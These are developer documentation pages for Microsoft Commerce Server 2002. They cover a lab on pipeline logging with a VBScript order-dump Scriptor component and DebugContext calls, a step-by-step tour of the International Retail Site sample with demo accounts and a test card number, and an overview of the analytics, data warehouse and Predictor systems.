In this lab you will learn how to debug Commerce Server 2002 pipeline components, and utilize DebugContext object(s).

This lab contains the following steps:

  • Step 1: Commerce Server 2002 Pipeline Logging and Debugging
  • Step 2: Using the DebugContext and ConsoleDebugContext Objects


Step 1: Commerce Server 2002 Pipeline Logging and Debugging

In this step you will learn how to enable pipeline logging on the system and insert custom logging scripts to save the pipeline contents to a file.

To enable pipeline logging

To insert a custom logging script

Sample Scriptor Code

To enable pipeline logging

  1. In the Solution Explorer - NorthwindTraders window, right-click the Web.config file, and then click Open.
  2. Locate the <pipelines> section, in the <pipeline> tag of the pipeline on which you want to enable logging, and insert the command loggingEnabled="true" at the very bottom of the pipeline record (before the end tag of the desired pipeline).

Notes

  • By default, the pipeline output log files are stored in the <Project Name>/pipelines/log folder.
  • The output log files are broken apart by the UserID (GUID) of the user whose session initiated the given pipeline.

To insert custom logging script

  1. In the Solution Explorer - NorthwindTraders window, expand the Pipelines folder, and then double-click the file basket.pcf. The Commerce Server Pipeline Editor starts.

    Note

    • If you do not see the Pipelines folder, click Show All Files, right-click the Pipelines folder, and then click Include in Project.
  2. In the Commerce Server Pipeline Editor window, right-click any of the pipeline states after the QueryCatalogInfo and RequiredProdInfo components, point to Insert Component, and then click After.
  3. In the Choose a component dialog box, select Scriptor from the components list, and then click OK.
  4. In the Commerce Server Pipeline Editor window, double-click the newly added Scriptor component.
  5. In the Component Properties dialog box, click Edit for internal scriptor and insert the code provided below, or select external and specify the log file location to which you will save pipeline contents.
  6. In the Component Properties dialog box, in the Config box, type filename=c:\orderdump.log, and then click the Component Properties tab.
  7. In the Component Properties dialog box, on the Component Properties tab, in the Label box, type OrderDump.
  8. Click OK.
  9. To save the pipeline, click Save on the toolbar.

The next time youview the basket page and the basket.pcf pipeline is executed, an output file will be placed in the location specified (c:\orderdump.log) that will contain all of the parameters from the specified dictionary.

Sample Scriptor Code

Following is sample code that can be used for internal scripting by the Scriptor pipeline component:

' DumpOrder is a simple example of building a component using VBS and scriptor
'
' To use dumporder, configure a Pipeline using one of the available
' Pipeline Editors.
' Set the Language to VBScript, choose File and set the file to DumpOrder.vbs
' (this file).
'
' In addition, this script assumes you set the filename parameter to a
' valid filename for output. The directory the output file is written to
' must be set up to
' have write access via the user your IIS is running as.
'
' For example, you could set
' filename=c:\orderdump.log
' in the Parameters control.
'
' This would assume your IIS user can write to c:\
'
function mscsexecute(config, orderform, context, flags)

   Set fs = CreateObject("Scripting.FileSystemObject")
   Set a = fs.CreateTextFile(config.filename, True)

   DumpOrderForm orderform, a

   a.Close

    mscsexecute = 1

end function

sub DumpItem(byRef item, byRef a)

   ' Dump all key/value pairs from a dictionary
   for each key in item
      on error resume next
      a.WriteLine("      Key [" + key + "] {" + TypeName(Key) + "} Value [" + _
            cstr(item.Value(key)) + "] {" + TypeName(item.Value(Key)) + "}")
      if err.number > 0 then
         if err.number = 450 then
            DumpItem key, a
         else
            a.writeline " *** ERROR in DumpItem # " & CStr(Err.Number) & _
                        " " & Err.Description
         end if
      end if
   next

end sub

sub DumpItems(byRef items, byRef a)

   'Iterate over List of Dictionaries, dump each dictionary
   n = 1
   for each item in items
      on error resume next
      a.WriteLine("   Item " + cstr(n))
      if err.number > 0 then a.writeline " *** ERROR in DumpItems # " & _
            CStr(Err.Number) & " " & Err.Description
      DumpItem item, a
      n = n + 1
   next

end sub

sub DumpList(byRef list, byRef a)

   'Iterates over list, write out each item and type
   for each item in list
      on error resume next
      a.WriteLine("   Value [" + item + "] {" + TypeName(item) + "}")
      if err.number > 0 then
         if err.number = 450 then
            a.WriteLine(" ")
            a.WriteLine("   Start Dictionary")
            DumpItem item, a
            a.WriteLine("   End of Dictionary")
            a.WriteLine(" ")

         else
            a.writeline " *** ERROR in DumpList # " & CStr(Err.Number) & _
                        " " & Err.Description
         end if
      end if
   next

end sub

sub DumpOrderForm(byRef orderForm, byRef a)

   a.WriteLine("** Orderform Contents **")

   for each key in orderForm

      if VarType(orderForm.Value(key)) <> vbObject then

         ' Dump out top level items
         a.WriteLine("Order Key [" + key + "] {" + TypeName(Key) + "} Value [" + _
                     cstr(orderForm.Value(key)) + "] {" + _
                     TypeName(orderForm.Value(key)) + "}")

      elseif key = "Items" then

         ' Dump out Items List
         a.WriteLine("Items List")
         DumpItems orderForm.Value(key), a
         a.WriteLine("End of Items List")
         a.WriteLine(" ")

      elseif key = "_Verify_With" then
         ' Dump out _Verify_With Dictionary
         a.WriteLine(" ")
         a.WriteLine("Order Key is [_Verify_With] Start Dictionary")
         DumpItem orderForm.Value(key), a
         a.WriteLine("End of Dictionary")
         a.WriteLine(" ")

      else
         ' Some object, assume it is a list
         a.WriteLine(" ")
         a.WriteLine("Order Key is [" + key + "]" + " Start List")
         on error resume next
         DumpList orderForm.Value(key), a
         if err.number > 0 then
            if err.number = 438 Then
               if TypeName(orderForm.Value(key)) = "IContentList" then
                  a.writeline " *** unable to write the contents of a " & _
                              TypeName(orderForm.Value(key)) & " with " & _
                              orderForm.Value(key).Count & " rows."
               end if
            else
               a.writeline " *** ERROR in DumpOrderForm # " & _
                           CStr(Err.Number) & " " & Err.Description
            end if
         end if
         a.WriteLine("End of List")
         a.WriteLine(" ")

      end if

   next

   a.WriteLine("** End of Orderform Contents **")

end sub


Step 2: Using the DebugContext and ConsoleDebugContext Objects

Commerce Server 2002 provides the DebugContext and ConsoleDebugContext objects to assist site developers in creating and debugging Commerce Server 2002 applications. Developers use these objects to pass properly formed exceptions from within their code and to send trace/warn messages from within the code.

The ConsoleDebugContext object functions are similar to those functions used by Web developers, with the difference that the object functions are designed to be utilized from within programs and executables (.EXEs) instead of being used from within World Wide Web (WWW) pages.

To call the DebugContext.Error() object

  • You use the following code to call the DebugContext.Error() object:
    CommerceContext ctx = CommerceContext.Current;
ctx.DebugContext.Error("Test Error", "Error Message");

To call the ConsoleDebugContext.Error() object

  • You use the following code to call the ConsoleDebugContext.Error() object:
    CommerceContext ctx = CommerceContext.Current;
ConsoleDebugContext cdc= new
   ConsoleDebugContext(ctx.DebugContext.DebugMode);
cdc.Error("Test Error", "Error Message");


Exploring the International Retail Site

The International Retail Site provides a starting point for building an International Retail site on top of the Commerce Server 2002 .NET platform.

This section provides procedures that you can follow to explore the functionality of the International Retail site. These procedures should be performed in the following order:

  • Step 1. Adding data to the site. Before you can completely explore the International Retail Site, you must import the Adventure Works catalog, copy images, add a shipping method, add tax rates, and currency conversion information by using Commerce Server Business Desk. To create banner ads, see Creating an Ad in the Commerce Server 2002 help system.
  • Step. 2. Selecting a locale. Select from one of the following supported locales: English-United States, English-Canada, French-Canada, French-France, German-Germany, and Japanese-Japan are all supported.
  • Step 3. Creating a new user account. Create a new user account.
  • Step 4. Creating an address for the user. This address becomes the primary billing/shipping address.
  • Step 5. Logging onto the site using the new user account. This step verifies that the user account was created successfully.
  • Step 6. Shopping the Adventure Works catalog. In this step, you will do the following:
    • Add one item from the Adventure Works catalog to the shopping cart.
    • Check out with one line item in the shopping cart.
    • Add a new credit card to the profile for the registered user.
  • Step 7. Performing simple and advanced searches. You will perform searches of the Adventure Works catalog.
  • Step 8. Placing a multiple shipment order. In this step, you will do the following:
    • Add a new address for the registered user.
    • Add two items to the registered user’s cart, and then check out. Each item in the cart is sent to a different address.

See Also

International Retail Site Software Requirements

International Retail Site


International Retail Site Software Requirements

To run the International Retail Site, you must install the following software in the order shown:

  • Microsoft Windows 2000 Advanced Server with Service Pack 2
  • Windows 2000 Security Rollup Package 1, located at http://go.microsoft.com/fwlink/?LinkId=6537.
  • Nimda patch, available on the Microsoft TechNet Web site, located at http://go.microsoft.com/fwlink/?LinkId=6689.
  • Microsoft Internet Explorer 5.5 with Service Pack 1 or Internet Explorer 6.0 with Internet Explorer Security Update: October 2001, available at http://go.microsoft.com/fwlink/?LinkId=6690.
  • Microsoft SQL Server 2000 Enterprise Edition
  • SQL Server 2000 Enterprise Edition Analysis Services
  • SQL Server 2000 Enterprise Edition Service Pack 2
  • Microsoft Visual Studio .NET Enterprise (includes Visual Studio build 7.0.9466 and .NET Framework v. 1.0.3705)

Optional software includes the Microsoft Passport 2.0 Software Development Kit (SDK), available at http://go.microsoft.com/fwlink/?LinkId=6691.


Step 1. Adding Data to the Site

Before you can use the International Retail Site, you must add catalog data, a shipping method, a tax rate, and currency conversion information to the site by using Commerce Server Business Desk:

  • Import the Adventure Works catalog.

    If you have installed Commerce Server 2002 Standard or Enterprise Edition, you can import the Adventure Works catalog, located in \Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Catalog Sitelet. For instructions about importing the catalog, see Importing an XML Catalog File.

    To get the images for the Adventure Works catalog, unpack the Catalog Sitelet, which is located in the same SDK directory as the Adventure Works catalog. Under the International Retail Site \images folder, create a folder named Catalog, and copy the images to that folder.

  • Copy the Adventure Works catalog images into Business Desk.

    Copy the Adventure Works catalog \images folder from \inetpub\wwwroot\netcatalogsitelet to Business Desk \inetpub\wwwroot\<sitename>.

  • Add a "By Quantity" shipping method.

    A shipping method is required by the International Retail Site in order to successfully complete the checkout process. The Adventure Works catalog is configured to work with either the "By Quantity" or "By Subtotal" shipping method. You cannot use a "By Weight" method since it has not been defined for the products in this catalog.

    For instructions about adding a shipping method, see To add a charge by quantity shipping method or To add a charge by subtotal shipping method.

  • Add a tax rate.

    For instructions about adding a tax rate, see Adding a Tax Rate.

  • Add currency conversion information to the site.

    The Currency Converter control will only appear on the site if currency exchange rates were created using Business Desk. The multiplier uses the conversion from the base site currency to the currency code you want. For example, to convert Yen to U.S. dollars you multiply a Yen by 0.00750637. Exchange rate information can be found at http://go.microsoft.com/fwlink/?LinkId=6692.

To enable the currency converter on the site

To create Japanese Yen exchange rate

To create Euro exchange rate

To create US Dollars exchange rate

Use the following procedure to enable the currency converter on the site.

To enable the currency converter on the site

  1. In Commerce Server Business Desk , click Profiles, and then Profile Editor.
  2. In the Profiles screen, click Exchange Rate, and then click Open.
  3. In the Exchange Rate screen, click New.

Currency conversion is now enabled for the site.

To create the Japanese Yen exchange rate

  1. In the New Exchange Rate screen, do the following:
    Use this | To do this
    Currency Code | Type JPY.
    Currency Name | Select Japanese Yen from the drop-down list.
    Multiplier | Type 0.0075.

To create the euro exchange rate

  1. In the New Exchange Rate screen, do the following:
    Use this | To do this
    Currency Code | Type EUR.
    Currency Name | Select Euro from the drop-down list.
    Multiplier | Type 0.09.

To create the U.S. dollars exchange rate

  1. In the New Exchange Rate screen, do the following:
    Use this | To do this
    Currency Code | Type USD.
    Currency Name | Select US Dollars from the drop-down list.
    Multiplier | Type 1.
  2. Click Save.

To have exchange rates to appear on the site, you need to publish your profiles to the site. See Publishing Profile Definition Changes on Your Web Site.

Use the following procedure to verify the currency converter is enabled on the site.

To verify that the currency converter is enabled on the site

  1. Navigate to the site and select a locale.
  2. On the Default.aspx page, you should see a drop-down list that contains the available currencies.

Continue to the next step, Selecting a Locale.


Step 2. Selecting a Locale

Perform the following steps to select a locale for the International Retail site:

  1. Use your browser to navigate to http://<servername>/retail2002/.

    The introductory Retail 2002 page appears.

  2. On the Retail 2002 page, select a country/region and language representing your locale:
Select from one of the following supported locales: English-United States, English-Canada, French-Canada, French-France, German-Germany, and Japanese-Japan. The locale you select determines the manner in which site content is displayed.
For example, if you select the U.S. flag, the locale value is set to en-US. The Adventure Works catalog that is subsequently displayed on the site will show product items and descriptions in English, and the corresponding prices for these products are listed in U.S. dollars (USD). If you select the French flag, the locale value is set to fr-FR. Product items and descriptions are displayed in French.

Note

  • The corresponding price of the product is displayed in the base currency of the site. For example, if you select the French flag but the base currency of the site is in U.S. dollars, USD will be displayed on the site. The user has the option to use the currency converter drop-down list to change the currency for the product prices.

You cannot navigate to any other page within the International Retail site until you select a locale.

Notes

  • The locale selection is stored as a persisted cookie (it appears in the URL if cookies are disabled), and you will not see the locale selection page again until the cookie in which this information resides is deleted or you manually navigate back to localeselection.aspx page and make another locale selection.
  • The locale selection choice you make works in conjunction with the type of catalog available to the site. The Adventure Works catalog is a multilingual catalog that supports the majority of the available International Retail Site locales.
  • The locale selection you choose on the site determines which catalogs you can view. For example, if you are viewing the site in en-US (English USA) and one of the catalogs is only available in ja-JP (Japanese Japan), then you will not see that catalog listed as a choice.
  • Catalog supports failover to one catalog if the locale for the user cannot be determined. For example, .NET supports a hierarchal failover that allows a French-Canadian to see French localized strings if the French-Canadian localized strings are not available. This represents two different locale failover patterns in the site.

Continue to the next step, Creating a New User Account.


Step 3. Creating a New User Account

After you select the locale, the Default.aspx page is displayed. Because you imported the Adventure Works catalog, you will see a list of products on this page, beginning with the product Venus and ending with the product Daytrip First Aid Kit. In the top-right corner of this page is the link Sign In, which redirects you to the Login.aspx page. On this page you can either log in to the site using an existing account, or create a new account.

If the Microsoft Passport 2.0 SDK is installed on the server hosting the International Retail Site, an additional link, Sign In .NET, appears on the Login.aspx page. This link is used in conjunction with the Passport service.

Note

  • You need to register your passport server with the Passport service to get passport logout to work.

Use the following procedure to create a new user account.

To create a new user account

  1. On Login.apsx page, click If you need to create an account.
  2. On NewAccount.aspx page, do the following:
    Use this | To do this
    User name Type jdoe.

    Both the user name and password are case-sensitive.
    Password Type password.

    The password must be a minimum of eight characters.

    Note

    You should always use a strong password when creating passwords. For more information about strong passwords, see Using Strong Passwords.
    Re-enter password | Type password again.
    E-mail address Type jdoe@microsoft.com.

    The e-mail address is validated. It must contain a minimum of five characters, an "@" and a "." (an "at" sign and a period).
  3. Click Save.

The International Retail site checks the following:

  • If the password contains a minimum of eight characters (password length configuration is found in the web.config file).
  • If the password and re-entered password match.
  • If the e-mail address is at least five characters in length (e-mail address configuration is found in the web.config file), and contains an "@" and a "." (an "at" sign and a period).

After you create the new user account, a message confirming that your account has been created appears.

Continue to the next step, Creating the User Account Primary Address.


Step 4. Creating the User Account Primary Address

You establish the primary address for the user on the Myaccount.aspx page. This page records the shipping and billing addresses to be used for user transactions. To view the myaccount.aspx page, click Personal Information in the navigation control located on the left panel.

Use the following procedure to create a primary shipping/billing address.

To create a primary shipping/billing address

  1. On the Myaccount.aspx page, do the following:
    Use this | To do this
    First name | Type John.
    Last name | Type Doe.
    E-mail address | This box contains the e-mail address that you entered on the Login.aspx page.
    Telephone | Type 425-555-1212.
    Fax | Leave this box blank.
    Zip Code | Type 98052.
    Country | The country/region shown is determined by the locale you selected when you entered the site. If you clicked the U.S. flag, this value is set to United States.
    Address 1 | Type 1 Microsoft Way.
    Address 2 | Leave this box blank.
    City | Type Redmond.
    State | Select Washington from the drop-down list.
  2. Click Save.

The data you entered is saved in the <Retail2002_site>_commerce database.

Continue to the next step, Logging in Using the New User Account.


Step 5. Logging in Using the New User Account

Perform the following steps to verify that you can log in with the new user account you just created.

  1. Use your browser to navigate to http://<servername>/retail2002/.

    Important

    • Type the name of the server. Do not type localhost.
  2. On the International Retail Site, click Sign In.

    The Login.aspx page opens.

  3. On the Login.aspx page, type, do the following:
    Use this | To do this
    User name Type jdoe.

    Note

    • Both the user name and password are case-sensitive.
    Password | Type password.
  4. Click Login.

    The International Retail Site authenticates your login information. After you are authenticated, the Default.aspx page is displayed and you should see the message "Welcome, John Doe, please make yourself at home."

    If you are not authenticated, the following error message is displayed:

    "The username and/or password is incorrect or the account is invalid."

If you receive this error message, review the steps in To create a new user account. After you are authenticated, continue to the next step, Shopping the Adventure Works Catalog.


Step 6. Shopping the Adventure Works Catalog

On the Default.aspx page, you can do the following:

  • Search catalogs. Use the Search control, located in the upper left corner of the page, to perform simple searches, or select a hyperlink to perform a more advanced search on the contents of all available catalogs.
  • Browse catalogs. You can perform a hierarchical navigation of the various categories within the catalog using hyperlinks in the Browse control. Located under the Search control, the Browse control displays a collective list of all the catalogs users are allowed to view.
  • Toggle catalogs. Click the appropriate tab to move between catalogs.

In this step, you will view products in the Adventure Works catalog, add a product to your cart, remove the product, add a different product, and then check out.

To shop the Adventure Works catalog

To add a different product to your cart

To add credit card information

To shop the Adventure Works catalog

  1. In the Browse control, click Adventure Works Catalog.

    All the catalog categories are displayed. Verify that the following categories are listed in the Browse control:

    • Backpack
    • Boots
    • Carabiner
    • Crampon
    • Harness
    • Pants
    • Parka
    • Rockshoes
    • Shirts
    • SleepingBags
    • Supplies
    • Tents
  2. Click the Parka category.
  3. Select a product in the Parka category.
  4. Examine the contents of the page. Only the following four products should be listed:
    • Alpine
    • Campos
    • Sahara
    • Crystal
  5. Click the Add to Cart button that corresponds to the Alpine Parka.

    The Basket.aspx page displays the full product summary of Alpine parka. You need to select a color from the drop-down list. If a product family has more than one variant, then multiple drop-down lists will appear. As the user selects values from the drop-down list, the other drop-down lists will be refreshed with only the valid product offerings.

    In the international Retail2002.pup package, you configure the action that is performed when a user clicks the Add to Cart button to either remain on the page or to proceed to the Cart.

    On the Basket.aspx page, you can change the quantity of any item in your cart, navigate to the product page using the product link, or remove an item from your cart.

  6. To remove Alpine parka from your cart, select the check box under the label Delete.
  7. Click Update.

    The Alpine parka is removed from your cart. The Basket.aspx page is displayed, along with the message, "Your shopping Cart is Empty."

To add a different product to your cart

  1. In the Browse control, click Adventure Works Catalog.

    All the catalog categories are displayed. Verify that the following categories are listed in the Browse control:

    • Backpack
    • Boots
    • Carabiner
    • Crampon
    • Harness
    • Pants
    • Parka
    • Rockshoes
    • Shirts
    • SleepingBags
    • Supplies
    • Tents
  2. Click Crampon.
  3. Verify that category navigation worked by examining the contents of the page. Only the following three products should be listed on the page:
    • Wafflestomper
    • Edgehugger
    • Glory Grip
  4. Click Glory Grip.

    The Category.aspx page is displayed, providing detailed information about the Glory Grip product, as well as Recommendations and Product Reviews for that particular product.

  5. Click the Add to Cart button.

    The Basket.aspx page is displayed.

  6. Verify that the correct product was added to your cart, and then click Checkout.

    The Checkout.aspx page prompts for information such as the shipping address the product will be delivered to, displays the shipping methods available for selection, the products that are being ordered, order total information, and credit card information. Notice that the Complete Purchase button is not enabled.

    Instructions at the top of the page explain that you must provide a Payment Method to continue.

To add credit card information

  1. In the Payment section of the Checkout.aspx page, click Change.
  2. On the PaymentSelect.aspx page, click New.
  3. On the Payment Option form, do the following
    Use this | To do this
    Card type | Select Visa from the drop-down list.
    Card number | Type 4111-1111-1111-1111, 16 digits.
    Name on card | Type John Doe.
  4. Click Create.

    A credit card record is created for you.

  5. Click Continue.

    The PaymentSelect.aspx page is displayed, along with the following information:

    Visa ####-####-###--1111 01/2003

  6. Click Continue.
  7. Select the card you created for payment.

    The Checkout.aspx page is displayed and the Complete Purchase button is enabled. (If the Complete Purchase button is not enabled, you must first create a "By Quantity" shipping method. To create the shipping method, see To add a charge by quantity shipping method.)

  8. Click Complete Purchase.

    Your order is complete. The Receipt.aspx page is displayed and an Order Receipt is provided.

    The Order Receipt assigns a number to the order, indicates the payment option that was selected (credit card is the only payment means), and lists the billing address the order was billed to. If this is the first order placed, the Order Receipt Number is 1000. The Shipment section of the receipt shows the shipping address the order was sent to, the shipment method selected, and a line-item summary of the products ordered.

    To verify that the order was successfully received, use the Business Desk Orders module to search Order Status for all orders. For instructions, see Finding, Viewing, and Sorting Orders.

  9. Click Continue Shopping to return to the Default.aspx page, which displays the contents of the Adventure Works catalog.

Note

  • You can also create credit card information for your account by following the Payment Options link on the Myaccount.aspx page.

Continue to the next step, Performing Simple and Advanced Searches.


Step 7. Performing Simple and Advanced Searches

You can perform simple or advanced searches on the International Retail Site. Advanced search can be used to perform an intersection of multiple keywords using the logical AND operator.

To perform a search of the catalog

  1. On the Default.aspx page, in the Search control provided in the top left corner of the page, note that the catalog selection box is set to All catalogs.
  2. In the Search box, type scoutpride, and then click Go.

    The search returns scoutpride and the category in which it was found. This is an enumeration of all matches. This particular search should return the Scoutpride product.

  3. Click the Scoutpride link.

    The SearchResults.aspx page is displayed, which lists the details of the product you selected.

  4. Click Add To Cart.

    The Scoutpride cooking set is added to your shopping cart.

  5. Click the Advanced Search link from the cart page, and leave the Catalogs drop-down box set to All catalogs. Do the following:
    Use this | To do this
    Keywords | Type Petzl Spirit.
    Number of items to display | Accept the default of 5.
    Search type | Verify that the Search for keywords AND option is selected.
  6. Click Search.

    The advanced search returns two Petzl Spirit records. The two products listed on the AdvancedSearch.aspx page are different products in the catalog.

  7. Click the first Petzl Spirit link, and then click Add to Cart.

    Your basket now contains two products: the Scoutpride cooking set and the Petzl Spirit carabiner.

  8. Click Checkout.

The Checkout.aspx page is displayed. Continue to the next step, Placing a Multiple Shipment Order.


Step 8. Placing a Multiple Shipment Order

When you have more than one line item in your basket, and you are shipping products to two or more different addresses, you can place a multiple shipment order (that is, an order where different products get shipped to different addresses). In this example, the first requirement, that you have more than one line item in your basket, has been met. However, you need to create a new shipping address for the user, John Doe.

On the Checkout.aspx page, notice that the Shipping Address drop-down list contains only one address: Primary. You can create a new shipping/billing address, or edit an existing one.

To create a new shipping/billing address

  1. On the Checkout.aspx page, click New, and then do the following:
    Use this | To do this
    Address Name | Type Home.
    Last name | Type Jane.
    Last name | Type Doe.
    Country | Type United States.
    Address 1 | Type 2 Doe Way.
    Address 2 | Type Apartment #2.
    City | Type Sammamish.
    State | Type Washington.
    Zip Code | Type 98075.
  2. Click Save.

    The message "Your information has been successfully saved" appears.

  3. To return to checkout, click the Shopping Cart link, and then click Checkout again.
  4. On the Checkout.aspx page, confirm that the new address was created in the Shipping Address drop-down list. Verify that the Home address exists (select the address and its details appear below the drop-down list).
  5. To submit a multiple shipment order, click Multiple Shipments at the bottom of the page.

    The MultipleShiptoSelect.aspx page is displayed. Each line item in your cart now has a shipping address and shipping option control that can be modified.

  6. Select the Ship to Address for the Petzl Spirit.

    If multiple shipping options exist, you can select a different shipping option.

  7. Change the delivery address of this product to the Home address you just created. After you select the Home address, the page automatically updates the address information that appears below the address drop-down box. Verify that the correct address appears.
  8. Click Continue.

    The Checkout.aspx page shows two shipments: Order Shipment 1 and Order Shipment 2. The first shipment, consisting of the Scoutpride cooking set, is going to the Primary Address. The second shipment, which contains the Petzl Spirit carbiner, is going to a different address.

    Continue to the next step to select a payment method.

  9. To use the credit card created earlier, click Change.
  10. On the PaymentSelect.aspx page, select the Visa card ending in the digits 1111, and then click Continue.

    There are now two orders. The payment option has been updated to reflect the credit card you selected, and the Complete Purchase button is enabled.

  11. Click Complete Purchase.

    The Receipt.aspx page is displayed, providing a summary for order number 1001.

These procedures conclude the exploring of the International Retail Site.


Commerce Server Systems

At a high level, Commerce Server 2002 is comprised of five integrated systems:

  • Business Analytics System
  • Profiling System
  • Product Catalog System
  • Targeting System
  • Business Processing Pipelines System

Each of these systems can be easily customized by a site developer to meet your business needs.

Business managers use Commerce Server Business Desk to work with the Commerce Server systems, for example, to update catalogs, target content to users, profile users and organizations, and analyze site usage and productivity. System administrators use Commerce Server Manager to configure the system resources and manage the applications, databases, and Web servers.

Commerce Server systems, Business Desk, Commerce Server Manager, and the Commerce Server databases are preconfigured and packaged in the Solution Sites, which site developers can use as a starting point for building a custom site and integrating third-party applications.

The following figure provides an overview of the Commerce Server systems wrapped in the Solution Sites, together with Business Desk, Commerce Server Manager, and the Commerce Server databases.

A figure providing an overview of Commerce Server.


Business Analytics System

The Business Analytics System provides complete decision support through data warehousing, prediction and data mining, and advanced analysis. You can install Microsoft Commerce Server 2002 to use the Business Analytics System as a stand-alone feature, and you can use it with non-Commerce applications.

The Business Analytics System is divided into three main parts.

This section contains:

  • Data Warehouse. Describes a combination of a SQL Server database, an OLAP database, and a set of processes that a system administrator uses to import a large amount of operational data about site activity. The Commerce Server Data Warehouse stores and manages data in the database for the purpose of business analytics: prediction and data mining, and analysis reporting.
  • Predictor. Describes a powerful data-mining tool that you use to provide predictive capabilities for your Web site, for example, to display product recommendations. You also use the Predictor to analyze the characteristics of the users visiting your site, and discover relationships among the characteristics. You can then use this information to target content to users who have similar characteristics.
  • Analysis Reporting. Provides dozens of reports, enabling to you analyze product sales, Web usage, Web site diagnostics, and so on. It includes features that make reporting easier and faster, for example:
    • The drillthrough feature so you can use the Pivot controls to expose underlying data.
    • The remote access feature so business managers can access the OLAP database through firewalls or proxy servers and run reports.

The following table lists key Commerce Server 2002 Help topics to help you learn more about the Data Warehouse, prediction, and analysis reporting.

To learn about | See
Data Warehouse | Data Warehouse Concepts Data Warehouse Configurator Multiple Sites and One Data Warehouse Specifying Data to be Imported into the Data Warehouse Data Warehouse Import Wizard Importing Data into the Data Warehouse Scripting DTS Tasks Extract, Transform, and Load Process for DTS Tasks Extending the Data Warehouse Logical Schema Data Warehouse Schema Data Warehouse, Analysis, and OLE DB Provider
Predictor | Predictor Resource Tutorial Prediction and Data Mining Concepts Predictor Schema Running the Predictor Resource
Analysis Reporting | Business Desk Analysis Analysis/Reporting Schema Analysis/Reporting XML Structures Creating Custom Reports


Data Warehouse

The Commerce Server Data Warehouse is a combination of a SQL Server database, an Online Analytical Processing (OLAP) database, and a set of processes that a system administrator uses to import and maintain data. The Data Warehouse stores and manages data in the database for the purpose of performing business analytics: data mining, prediction, and analysis reporting.

The Data Warehouse imports a large amount of data collected from several different data sources. It collects day-to-day operational data about users who visit your site: user profile data, transaction data, and click-history data. It also collects product data and advertising data. This data is gathered from Web server logs, Microsoft Commerce Server databases, and other data sources that you specify. The Data Warehouse then manages the data in the database so that it can be easily accessed for use in Prediction models and creating reports.

The Data Warehouse includes the following key components:

  • Data Warehouse Configurator. A tool used to create a new Data Warehouse. It is not used to configure existing Data Warehouses.
  • Commerce Server Data Transformation Services (DTS) tasks. Commerce Server tasks that are used to import and change the data in the Data Warehouse. Commerce Server tasks are loaded into SQL Server when you unpack a site. You add Commerce Server DTS tasks to a SQL Server package and then run that package to make changes to the Data Warehouse. For detailed information about how Commerce Server DTS tasks work, see Extract, Transform, and Load Process for DTS Tasks.

    You can manually configure the Commerce Server DTS tasks to import data, or you can use the Data Warehouse Import Wizard.

  • Data Warehouse Import Wizard. An interface designed to let you quickly and easily import data into the Data Warehouse. You can also manually configure Data Warehouse DTS tasks to specify which data is to be imported.

    Data Warehouse schema diagram. To view the Data Warehouse schema before you extend the Data Warehouse, refer to this diagram (in poster format), which is available in the Commerce Server 2002 Enterprise Edition Documentation Kit, and available to order on the Web at: http://go.microsoft.com/fwlink/?LinkId=6724

The following figure shows the data sources from which the Data Warehouse imports data, the DTS tasks that perform the extract, transform, and load processes, and the tools for analysis that the Data Warehouse supports.

A figure that shows the components of the Data Warehouse and how they interact.

The following table lists key Commerce Server Help topics to help you learn more about the Data Warehouse, prediction, and analysis reporting.

To learn about | See
Deploying the Data Warehouse | Data Warehouse Concepts Data Warehouse Configurator Multiple Sites and One Data Warehouse Data Warehouse Import Wizard
Securing the Data Warehouse | Accessing the Analysis Server over HTTPS Scripts for Securing Databases Accessed by DTS Tasks Scripts for Securing Databases Accessed by Reports Data Warehouse Connection Strings
Importing Data into the Data Warehouse | Specifying Data to Be Imported into the Data Warehouse Data Warehouse Import Wizard Scripting DTS Tasks Extract, Transform, and Load Process for DTS Tasks Troubleshooting the Data Warehouse Import Process
Extending the Data Warehouse | Extending the Data Warehouse Logical Schema Data Warehouse Schema Data Warehouse, Analysis, and OLE DB Provider


Predictor

The Predictor, a feature in Microsoft Commerce Server Enterprise Edition, is a powerful data-mining resource that you use to provide predictive capabilities for your Web site, for example, to display product recommendations to a site user. You also use the Predictor to analyze the characteristics of the users visiting your site, and to discover relationships among the characteristics. You can then use this information to target content to users who have similar characteristics.

For example, using the Predictor you can provide the following features on your Web site:

  • Cross-sell and cross-browse. Provide real-time product recommendations for users to buy or browse as they shop for products on your Web site.
  • Targeted advertising. Target banner ads and e-mails that are personalized for each user based on their browsing and shopping behavior on your site.

You can use the analysis features of the Predictor to automatically segment your site usersbased on their buying and browsing behavior on your site, and then use the results of this analysis to target content to users. You can also make statistically informed guesses about the demographic makeup of every user based on the products they purchase and the pages they browse on your site.

The Predictor includes the following key components:

  • Prediction Resource Tutorial. Use this step-by-step tutorial to learn how to use the Predictor for cross-sell and cross-browse, demographic prediction, targeted advertising, and user segmentation.
  • Model viewers. You can analyze Prediction models using the Prediction Model Viewer accessed through Commerce Server Manager, and you can analyze Segment models using the Segment Viewer module in Business Desk. You can export the results of both prediction analysis and segment analysis as lists, so you can target content to users.
  • Prediction Model Configuration Wizard. You use the Predictor Model Configuration Wizard to set up the following model configurations provided with Commerce Server EE:
    • Transactions. Use to build analysis models that predict the products that users are likely to buy. For example, your site could present each user with a list of personal product recommendations.
    • Demographics. Use to build analysis models that predict the demographic characteristics that your users are likely to share. For example, you can use the demographic analysis models to improve your understanding of the registered users who visit your site.
    • Combined Transactions and Demographics. Use to build analysis models that predict likely relationships between demographic characteristics and product purchases. The accuracy of this model is directly proportional to the number of registered users on your Web site.
    • Product Browsing. Use to build analysis models that predict the products that your users are likely to browse. For example, you can place links on your site that are relevant to your users.
    • Ad Click. Use to build analysis models that predict the ads that your users are likely to click.

The following table lists key Commerce Server Help topics to help you learn more about the Predictor resource.

To learn about | See
Security for Predictor | Predictor Service Account Securing a Predictor Deployment
Deploying the Predictor Resource | Prediction and Data Mining Concepts Installing Commerce Server 2002 Resources as Clustered Resources
Running the Predictor Resource | Predictor Resource Tutorial Workflow for the Predictor Resource Best Practices for the Predictor Resource Running the Model Builder DTS Task Setting Up Model Configurations Building a New Analysis Model Predictor Schema


Analysis Reporting

The Analysis Reporting features enable you to analyze the data stored in the Data Warehouse. Microsoft Commerce Server provides dozens of reports so you can analyze product sales, Web site usage, site diagnostics, and so on.

You use the Analysis modules in Commerce Server Business Desk to run reports. If you are using Commerce Server Enterprise Edition, you can export the report results as lists, and then target content to users.

Commerce Server includes the following features that make reporting easy and fast:

  • The remote access feature so business managers can access the OLAP database through firewalls or proxy servers and run reports. (This functionality requires SQL Server 2000 Enterprise Edition, including the Enterprise Edition of Analysis Services.)
